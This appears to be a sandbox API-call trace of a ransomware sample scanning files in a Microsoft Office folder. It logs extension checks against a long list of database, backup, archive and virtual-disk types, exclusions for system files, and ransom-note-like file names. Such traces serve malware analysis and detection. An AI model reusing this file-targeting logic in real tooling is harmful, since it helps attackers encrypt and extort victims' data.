	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1
	[0067.465] lstrlenW (lpString="abx") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1
	[0067.465] lstrlenW (lpString="accdb") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accdb") returned -1
	[0067.465] lstrlenW (lpString="accdc") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accdc") returned -1
	[0067.465] lstrlenW (lpString="accde") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accde") returned -1
	[0067.465] lstrlenW (lpString="accdr") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accdr") returned -1
	[0067.465] lstrlenW (lpString="accdt") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accdt") returned -1
	[0067.465] lstrlenW (lpString="accdw") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accdw") returned -1
	[0067.465] lstrlenW (lpString="accft") returned 5
	[0067.465] lstrcmpiW (lpString1="0.BDR", lpString2="accft") returned -1
	[0067.465] lstrlenW (lpString="adb") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1
	[0067.465] lstrlenW (lpString="adb") returned 3
	[0067.465] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1
	[0067.465] lstrlenW (lpString="ade") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1
	[0067.466] lstrlenW (lpString="adf") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1
	[0067.466] lstrlenW (lpString="adn") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1
	[0067.466] lstrlenW (lpString="adp") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1
	[0067.466] lstrlenW (lpString="alf") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1
	[0067.466] lstrlenW (lpString="ask") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1
	[0067.466] lstrlenW (lpString="btr") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1
	[0067.466] lstrlenW (lpString="cat") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1
	[0067.466] lstrlenW (lpString="cdb") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1
	[0067.466] lstrlenW (lpString="ckp") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1
	[0067.466] lstrlenW (lpString="cma") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1
	[0067.466] lstrlenW (lpString="cpd") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1
	[0067.466] lstrlenW (lpString="dacpac") returned 6
	[0067.466] lstrcmpiW (lpString1="10.BDR", lpString2="dacpac") returned -1
	[0067.466] lstrlenW (lpString="dad") returned 3
	[0067.466] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1
	[0067.466] lstrlenW (lpString="dadiagrams") returned 10
	[0067.466] lstrcmpiW (lpString1="SPUB10.BDR", lpString2="dadiagrams") returned 1
	[0067.466] lstrlenW (lpString="daschema") returned 8
	[0067.466] lstrcmpiW (lpString1="UB10.BDR", lpString2="daschema") returned 1
	[0067.466] lstrlenW (lpString="db-journal") returned 10
	[0067.466] lstrcmpiW (lpString1="SPUB10.BDR", lpString2="db-journal") returned 1
	[0067.466] lstrlenW (lpString="db-shm") returned 6
	[0067.466] lstrcmpiW (lpString1="10.BDR", lpString2="db-shm") returned -1
	[0067.466] lstrlenW (lpString="db-wal") returned 6
	[0067.467] lstrcmpiW (lpString1="10.BDR", lpString2="db-wal") returned -1
	[0067.467] lstrlenW (lpString="dbc") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1
	[0067.467] lstrlenW (lpString="dbs") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1
	[0067.467] lstrlenW (lpString="dbt") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1
	[0067.467] lstrlenW (lpString="dbv") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1
	[0067.467] lstrlenW (lpString="dbx") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1
	[0067.467] lstrlenW (lpString="dcb") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1
	[0067.467] lstrlenW (lpString="dct") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1
	[0067.467] lstrlenW (lpString="dcx") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dcx") returned -1
	[0067.467] lstrlenW (lpString="ddl") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="ddl") returned -1
	[0067.467] lstrlenW (lpString="dlis") returned 4
	[0067.467] lstrcmpiW (lpString1=".BDR", lpString2="dlis") returned -1
	[0067.467] lstrlenW (lpString="dp1") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dp1") returned -1
	[0067.467] lstrlenW (lpString="dqy") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dqy") returned -1
	[0067.467] lstrlenW (lpString="dsk") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dsk") returned -1
	[0067.467] lstrlenW (lpString="dsn") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dsn") returned -1
	[0067.467] lstrlenW (lpString="dtsx") returned 4
	[0067.467] lstrcmpiW (lpString1=".BDR", lpString2="dtsx") returned -1
	[0067.467] lstrlenW (lpString="dxl") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="dxl") returned -1
	[0067.467] lstrlenW (lpString="eco") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="eco") returned -1
	[0067.467] lstrlenW (lpString="ecx") returned 3
	[0067.467] lstrcmpiW (lpString1="BDR", lpString2="ecx") returned -1
	[0067.468] lstrlenW (lpString="edb") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="edb") returned -1
	[0067.468] lstrlenW (lpString="epim") returned 4
	[0067.468] lstrcmpiW (lpString1=".BDR", lpString2="epim") returned -1
	[0067.468] lstrlenW (lpString="fcd") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fcd") returned -1
	[0067.468] lstrlenW (lpString="fdb") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fdb") returned -1
	[0067.468] lstrlenW (lpString="fic") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fic") returned -1
	[0067.468] lstrlenW (lpString="flexolibrary") returned 12
	[0067.468] lstrlenW (lpString="fm5") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fm5") returned -1
	[0067.468] lstrlenW (lpString="fmp") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fmp") returned -1
	[0067.468] lstrlenW (lpString="fmp12") returned 5
	[0067.468] lstrcmpiW (lpString1="0.BDR", lpString2="fmp12") returned -1
	[0067.468] lstrlenW (lpString="fmpsl") returned 5
	[0067.468] lstrcmpiW (lpString1="0.BDR", lpString2="fmpsl") returned -1
	[0067.468] lstrlenW (lpString="fol") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fol") returned -1
	[0067.468] lstrlenW (lpString="fp3") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fp3") returned -1
	[0067.468] lstrlenW (lpString="fp4") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fp4") returned -1
	[0067.468] lstrlenW (lpString="fp5") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fp5") returned -1
	[0067.468] lstrlenW (lpString="fp7") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fp7") returned -1
	[0067.468] lstrlenW (lpString="fpt") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="fpt") returned -1
	[0067.468] lstrlenW (lpString="frm") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="frm") returned -1
	[0067.468] lstrlenW (lpString="gdb") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1
	[0067.468] lstrlenW (lpString="gdb") returned 3
	[0067.468] lstrcmpiW (lpString1="BDR", lpString2="gdb") returned -1
	[0067.468] lstrlenW (lpString="grdb") returned 4
	[0067.469] lstrcmpiW (lpString1=".BDR", lpString2="grdb") returned -1
	[0067.469] lstrlenW (lpString="gwi") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="gwi") returned -1
	[0067.469] lstrlenW (lpString="hdb") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="hdb") returned -1
	[0067.469] lstrlenW (lpString="his") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="his") returned -1
	[0067.469] lstrlenW (lpString="ib") returned 2
	[0067.469] lstrcmpiW (lpString1="DR", lpString2="ib") returned -1
	[0067.469] lstrlenW (lpString="idb") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="idb") returned -1
	[0067.469] lstrlenW (lpString="ihx") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="ihx") returned -1
	[0067.469] lstrlenW (lpString="itdb") returned 4
	[0067.469] lstrcmpiW (lpString1=".BDR", lpString2="itdb") returned -1
	[0067.469] lstrlenW (lpString="itw") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="itw") returned -1
	[0067.469] lstrlenW (lpString="jet") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="jet") returned -1
	[0067.469] lstrlenW (lpString="jtx") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="jtx") returned -1
	[0067.469] lstrlenW (lpString="kdb") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="kdb") returned -1
	[0067.469] lstrlenW (lpString="kexi") returned 4
	[0067.469] lstrcmpiW (lpString1=".BDR", lpString2="kexi") returned -1
	[0067.469] lstrlenW (lpString="kexic") returned 5
	[0067.469] lstrcmpiW (lpString1="0.BDR", lpString2="kexic") returned -1
	[0067.469] lstrlenW (lpString="kexis") returned 5
	[0067.469] lstrcmpiW (lpString1="0.BDR", lpString2="kexis") returned -1
	[0067.469] lstrlenW (lpString="lgc") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="lgc") returned -1
	[0067.469] lstrlenW (lpString="lwx") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="lwx") returned -1
	[0067.469] lstrlenW (lpString="maf") returned 3
	[0067.469] lstrcmpiW (lpString1="BDR", lpString2="maf") returned -1
	[0067.470] lstrlenW (lpString="maq") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="maq") returned -1
	[0067.470] lstrlenW (lpString="mar") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mar") returned -1
	[0067.470] lstrlenW (lpString="marshal") returned 7
	[0067.470] lstrcmpiW (lpString1="B10.BDR", lpString2="marshal") returned -1
	[0067.470] lstrlenW (lpString="mas") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mas") returned -1
	[0067.470] lstrlenW (lpString="mav") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mav") returned -1
	[0067.470] lstrlenW (lpString="maw") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="maw") returned -1
	[0067.470] lstrlenW (lpString="mdbhtml") returned 7
	[0067.470] lstrcmpiW (lpString1="B10.BDR", lpString2="mdbhtml") returned -1
	[0067.470] lstrlenW (lpString="mdn") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mdn") returned -1
	[0067.470] lstrlenW (lpString="mdt") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mdt") returned -1
	[0067.470] lstrlenW (lpString="mfd") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mfd") returned -1
	[0067.470] lstrlenW (lpString="mpd") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mpd") returned -1
	[0067.470] lstrlenW (lpString="mrg") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mrg") returned -1
	[0067.470] lstrlenW (lpString="mud") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mud") returned -1
	[0067.470] lstrlenW (lpString="mwb") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="mwb") returned -1
	[0067.470] lstrlenW (lpString="myd") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="myd") returned -1
	[0067.470] lstrlenW (lpString="ndf") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="ndf") returned -1
	[0067.470] lstrlenW (lpString="nnt") returned 3
	[0067.470] lstrcmpiW (lpString1="BDR", lpString2="nnt") returned -1
	[0067.470] lstrlenW (lpString="nrmlib") returned 6
	[0067.471] lstrcmpiW (lpString1="10.BDR", lpString2="nrmlib") returned -1
	[0067.471] lstrlenW (lpString="ns2") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="ns2") returned -1
	[0067.471] lstrlenW (lpString="ns3") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="ns3") returned -1
	[0067.471] lstrlenW (lpString="ns4") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="ns4") returned -1
	[0067.471] lstrlenW (lpString="nsf") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="nsf") returned -1
	[0067.471] lstrlenW (lpString="nv") returned 2
	[0067.471] lstrcmpiW (lpString1="DR", lpString2="nv") returned -1
	[0067.471] lstrlenW (lpString="nv2") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="nv2") returned -1
	[0067.471] lstrlenW (lpString="nwdb") returned 4
	[0067.471] lstrcmpiW (lpString1=".BDR", lpString2="nwdb") returned -1
	[0067.471] lstrlenW (lpString="nyf") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="nyf") returned -1
	[0067.471] lstrlenW (lpString="odb") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1
	[0067.471] lstrlenW (lpString="odb") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="odb") returned -1
	[0067.471] lstrlenW (lpString="oqy") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="oqy") returned -1
	[0067.471] lstrlenW (lpString="ora") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="ora") returned -1
	[0067.471] lstrlenW (lpString="orx") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="orx") returned -1
	[0067.471] lstrlenW (lpString="owc") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="owc") returned -1
	[0067.471] lstrlenW (lpString="p96") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="p96") returned -1
	[0067.471] lstrlenW (lpString="p97") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="p97") returned -1
	[0067.471] lstrlenW (lpString="pan") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="pan") returned -1
	[0067.471] lstrlenW (lpString="pdb") returned 3
	[0067.471] lstrcmpiW (lpString1="BDR", lpString2="pdb") returned -1
	[0067.471] lstrlenW (lpString="pdm") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="pdm") returned -1
	[0067.472] lstrlenW (lpString="pnz") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="pnz") returned -1
	[0067.472] lstrlenW (lpString="qry") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="qry") returned -1
	[0067.472] lstrlenW (lpString="qvd") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="qvd") returned -1
	[0067.472] lstrlenW (lpString="rbf") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="rbf") returned -1
	[0067.472] lstrlenW (lpString="rctd") returned 4
	[0067.472] lstrcmpiW (lpString1=".BDR", lpString2="rctd") returned -1
	[0067.472] lstrlenW (lpString="rod") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="rod") returned -1
	[0067.472] lstrlenW (lpString="rodx") returned 4
	[0067.472] lstrcmpiW (lpString1=".BDR", lpString2="rodx") returned -1
	[0067.472] lstrlenW (lpString="rpd") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="rpd") returned -1
	[0067.472] lstrlenW (lpString="rsd") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="rsd") returned -1
	[0067.472] lstrlenW (lpString="sas7bdat") returned 8
	[0067.472] lstrcmpiW (lpString1="UB10.BDR", lpString2="sas7bdat") returned 1
	[0067.472] lstrlenW (lpString="sbf") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="sbf") returned -1
	[0067.472] lstrlenW (lpString="scx") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="scx") returned -1
	[0067.472] lstrlenW (lpString="sdb") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="sdb") returned -1
	[0067.472] lstrlenW (lpString="sdc") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="sdc") returned -1
	[0067.472] lstrlenW (lpString="sdf") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="sdf") returned -1
	[0067.472] lstrlenW (lpString="sis") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="sis") returned -1
	[0067.472] lstrlenW (lpString="spq") returned 3
	[0067.472] lstrcmpiW (lpString1="BDR", lpString2="spq") returned -1
	[0067.472] lstrlenW (lpString="te") returned 2
	[0067.472] lstrcmpiW (lpString1="DR", lpString2="te") returned -1
	[0067.473] lstrlenW (lpString="teacher") returned 7
	[0067.473] lstrcmpiW (lpString1="B10.BDR", lpString2="teacher") returned -1
	[0067.473] lstrlenW (lpString="tmd") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="tmd") returned -1
	[0067.473] lstrlenW (lpString="tps") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="tps") returned -1
	[0067.473] lstrlenW (lpString="trc") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1
	[0067.473] lstrlenW (lpString="trc") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="trc") returned -1
	[0067.473] lstrlenW (lpString="trm") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="trm") returned -1
	[0067.473] lstrlenW (lpString="udb") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="udb") returned -1
	[0067.473] lstrlenW (lpString="udl") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="udl") returned -1
	[0067.473] lstrlenW (lpString="usr") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="usr") returned -1
	[0067.473] lstrlenW (lpString="v12") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="v12") returned -1
	[0067.473] lstrlenW (lpString="vis") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="vis") returned -1
	[0067.473] lstrlenW (lpString="vpd") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="vpd") returned -1
	[0067.473] lstrlenW (lpString="vvv") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="vvv") returned -1
	[0067.473] lstrlenW (lpString="wdb") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="wdb") returned -1
	[0067.473] lstrlenW (lpString="wmdb") returned 4
	[0067.473] lstrcmpiW (lpString1=".BDR", lpString2="wmdb") returned -1
	[0067.473] lstrlenW (lpString="wrk") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="wrk") returned -1
	[0067.473] lstrlenW (lpString="xdb") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="xdb") returned -1
	[0067.473] lstrlenW (lpString="xld") returned 3
	[0067.473] lstrcmpiW (lpString1="BDR", lpString2="xld") returned -1
	[0067.474] lstrlenW (lpString="xmlff") returned 5
	[0067.474] lstrcmpiW (lpString1="0.BDR", lpString2="xmlff") returned -1
	[0067.474] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcde5600, ftCreationTime.dwHighDateTime=0x1c458e1, ftLastAccessTime.dwLowDateTime=0x6a1819b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xcde5600, ftLastWriteTime.dwHighDateTime=0x1c458e1, nFileSizeHigh=0x0, nFileSizeLow=0x69e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSPUB11.BDR", cAlternateFileName="")) returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="Apollon865.txt.exe") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2=".") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="..") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="windows") returned -1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="bootmgr") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="temp") returned -1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="pagefile.sys") returned -1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="boot") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="ids.txt") returned 1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="ntuser.dat") returned -1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="perflogs") returned -1
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2="MSBuild") returned 1
	[0067.474] lstrlenW (lpString="MSPUB11.BDR") returned 11
	[0067.474] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\PUBBA\\MSPUB10.BDR") returned 60
	[0067.474] lstrcpyW (in: lpString1=0x2d3e5b2, lpString2="MSPUB11.BDR" | out: lpString1="MSPUB11.BDR") returned="MSPUB11.BDR"
	[0067.474] lstrlenW (lpString="MSPUB11.BDR") returned 11
	[0067.474] lstrlenW (lpString="Apollon865") returned 10
	[0067.474] lstrcmpiW (lpString1="SPUB11.BDR", lpString2="Apollon865") returned 1
	[0067.474] lstrlenW (lpString=".dll") returned 4
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2=".dll") returned 1
	[0067.474] lstrlenW (lpString=".lnk") returned 4
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2=".lnk") returned 1
	[0067.474] lstrlenW (lpString=".ini") returned 4
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2=".ini") returned 1
	[0067.474] lstrlenW (lpString=".sys") returned 4
	[0067.474] lstrcmpiW (lpString1="MSPUB11.BDR", lpString2=".sys") returned 1
	[0067.474] lstrlenW (lpString="MSPUB11.BDR") returned 11
	[0067.474] lstrlenW (lpString="bak") returned 3
	[0067.474] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1
	[0067.474] lstrlenW (lpString="ba_") returned 3
	[0067.474] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1
	[0067.475] lstrlenW (lpString="dbb") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1
	[0067.475] lstrlenW (lpString="vmdk") returned 4
	[0067.475] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1
	[0067.475] lstrlenW (lpString="rar") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1
	[0067.475] lstrlenW (lpString="zip") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1
	[0067.475] lstrlenW (lpString="tgz") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1
	[0067.475] lstrlenW (lpString="vbox") returned 4
	[0067.475] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1
	[0067.475] lstrlenW (lpString="vdi") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1
	[0067.475] lstrlenW (lpString="vhd") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1
	[0067.475] lstrlenW (lpString="vhdx") returned 4
	[0067.475] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1
	[0067.475] lstrlenW (lpString="avhd") returned 4
	[0067.475] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1
	[0067.475] lstrlenW (lpString="db") returned 2
	[0067.475] lstrcmpiW (lpString1="DR", lpString2="db") returned 1
	[0067.475] lstrlenW (lpString="db2") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1
	[0067.475] lstrlenW (lpString="db3") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1
	[0067.475] lstrlenW (lpString="dbf") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1
	[0067.475] lstrlenW (lpString="mdf") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1
	[0067.475] lstrlenW (lpString="mdb") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1
	[0067.475] lstrlenW (lpString="sql") returned 3
	[0067.475] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1
	[0067.475] lstrlenW (lpString="sqlite") returned 6
	[0067.475] lstrcmpiW (lpString1="11.BDR", lpString2="sqlite") returned -1
	[0067.475] lstrlenW (lpString="sqlite3") returned 7
	[0067.475] lstrcmpiW (lpString1="B11.BDR", lpString2="sqlite3") returned -1
	[0067.476] lstrlenW (lpString="sqlitedb") returned 8
	[0067.476] lstrcmpiW (lpString1="UB11.BDR", lpString2="sqlitedb") returned 1
	[0067.476] lstrlenW (lpString="xml") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1
	[0067.476] lstrlenW (lpString="$er") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1
	[0067.476] lstrlenW (lpString="4dd") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1
	[0067.476] lstrlenW (lpString="4dl") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1
	[0067.476] lstrlenW (lpString="^^^") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1
	[0067.476] lstrlenW (lpString="abs") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1
	[0067.476] lstrlenW (lpString="abx") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1
	[0067.476] lstrlenW (lpString="accdb") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accdb") returned -1
	[0067.476] lstrlenW (lpString="accdc") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accdc") returned -1
	[0067.476] lstrlenW (lpString="accde") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accde") returned -1
	[0067.476] lstrlenW (lpString="accdr") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accdr") returned -1
	[0067.476] lstrlenW (lpString="accdt") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accdt") returned -1
	[0067.476] lstrlenW (lpString="accdw") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accdw") returned -1
	[0067.476] lstrlenW (lpString="accft") returned 5
	[0067.476] lstrcmpiW (lpString1="1.BDR", lpString2="accft") returned -1
	[0067.476] lstrlenW (lpString="adb") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1
	[0067.476] lstrlenW (lpString="adb") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1
	[0067.476] lstrlenW (lpString="ade") returned 3
	[0067.476] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1
	[0067.476] lstrlenW (lpString="adf") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1
	[0067.477] lstrlenW (lpString="adn") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1
	[0067.477] lstrlenW (lpString="adp") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1
	[0067.477] lstrlenW (lpString="alf") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1
	[0067.477] lstrlenW (lpString="ask") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1
	[0067.477] lstrlenW (lpString="btr") returned 3
	[0067.477] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1
	[0067.477] lstrlenW (lpString="cat") returned 3
